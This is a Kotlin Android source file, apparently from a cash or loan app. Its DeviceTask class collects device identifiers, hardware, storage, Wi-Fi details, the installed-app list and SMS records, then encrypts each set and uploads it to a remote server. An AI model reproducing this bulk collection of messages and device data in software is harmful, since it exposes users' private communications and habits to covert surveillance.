package com.market.cash.device.task

import android.Manifest
import android.content.Context
import com.market.cash.device.DVSycBuilder
import com.market.cash.device.http.DVRequestManager
import com.market.cash.device.http.DVRequestParams
import com.market.cash.device.http.DVUrlHelper
import com.market.cash.device.services.MSG_STATUS
import com.market.cash.device.services.deviceDatas
import com.market.cash.device.services.appDatas
import com.market.cash.device.services.msgDatas
import com.market.cash.device.services.storageDatas
import com.market.cash.device.services.hardwareDatas
import com.market.cash.device.services.wifiDatas
import com.market.cash.device.util.checkPermissionsGranted
import com.market.cash.utils.log.CashRootLog
import java.util.function.Supplier

class DeviceTask(private val context: Context, private val taskId: String) : Supplier<String> {

    companion object {
        const val TASK_DEVICE = "TASK_DEVICE"
        const val TASK_HARDWARE = "TASK_HARDWARE"
        const val TASK_MESSAGE = "TASK_MSG"
        const val TASK_STORE = "TASK_STORE"
        const val TASK_WIFI = "TASK_WIFI"
        const val TASK_APP_LIST = "TASK_APP_LIST"
    }

    override fun get(): String {
        CashRootLog.i("$taskId Running...")

        val url = DVUrlHelper.combineUrl()
        if (url.isBlank()) return taskId

        val body = executing()
        if (body.isNullOrBlank()) return taskId

        DVRequestManager(url = url, body = body, taskId = taskId).doPost()

        return taskId
    }

    private fun executing(): String? {
        return try {
            when {
                taskId.contains(TASK_DEVICE) -> {
                    val hadPermission = context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
                    if (hadPermission) {
                        context.deviceDatas().toEncryptParams()
                    } else {
                        CashRootLog.i("${taskId}_ERROR：NO READ_PHONE_STATE PERMISSION")
                        null
                    }
                }

                taskId.contains(TASK_HARDWARE) -> {
                    val hadPermission = context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
                    if (hadPermission) {
                        DVRequestParams(path = DVSycBuilder.pathHdw, deviceHardwareGzip = context.hardwareDatas()).toEncryptParams()
                    } else {
                        CashRootLog.i("${taskId}_ERROR：NO READ_PHONE_STATE PERMISSION")
                        null
                    }
                }

                taskId.contains(TASK_STORE) -> {
                    DVRequestParams(path = DVSycBuilder.pathSto, deviceStorageGzip = context.storageDatas()).toEncryptParams()
                }

                taskId.contains(TASK_WIFI) -> {
                    DVRequestParams(path = DVSycBuilder.pathNtw, deviceWifiGzip = context.wifiDatas()).toEncryptParams()
                }

                taskId.contains(TASK_APP_LIST) -> {
                    DVRequestParams(path = DVSycBuilder.pathApl, appListGzip = context.appDatas()).toEncryptParams()
                }

                else -> {
                    val hadPermission = context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_SMS))
                    if (hadPermission) {
                        DVRequestParams(path = DVSycBuilder.pathMag, smsRecordsGzip = context.msgDatas(), smsFetchType = MSG_STATUS).toEncryptParams()
                    } else {
                        CashRootLog.i("${taskId}_ERROR：NO READ_SMS PERMISSION")
                        null
                    }
                }
            }
        } catch (e: Exception) {
            e.printStackTrace()
            null
        }
    }
}
